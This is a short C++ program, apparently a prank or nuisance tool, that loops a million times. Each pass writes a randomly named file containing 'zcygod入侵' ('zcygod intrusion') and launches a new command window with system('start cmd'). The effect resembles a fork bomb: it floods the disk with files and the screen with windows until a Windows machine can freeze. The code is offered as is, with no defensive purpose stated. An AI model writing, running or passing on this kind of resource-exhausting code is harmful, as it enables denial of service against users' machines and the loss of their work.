C++#include <iostream>
#include <cstdlib>
#include <ctime>
using namespace std;
int main() {
srand(time(0));
for (int i = 0; i < 1000; i++) {
for (int j = 0; j < 1000; j++) {
string filename;
filename += "zcygod";
filename += (char)('A' + rand() % 26);
filename += (char)('a' + rand() % 26);
filename += (char)('a' + rand() % 26);
filename += ".";
filename += (char)('A' + rand() % 26);
filename += (char)('a' + rand() % 26);
filename += (char)('a' + rand() % 26);
FILE* file = freopen(filename.c_str(), "w", stdout);
cout << "zcygod入侵";
fflush(stdout);
freopen("CON", "w", stdout);
cout << "zcygod入侵" << endl;
system("start cmd");
}
}
return 0;
}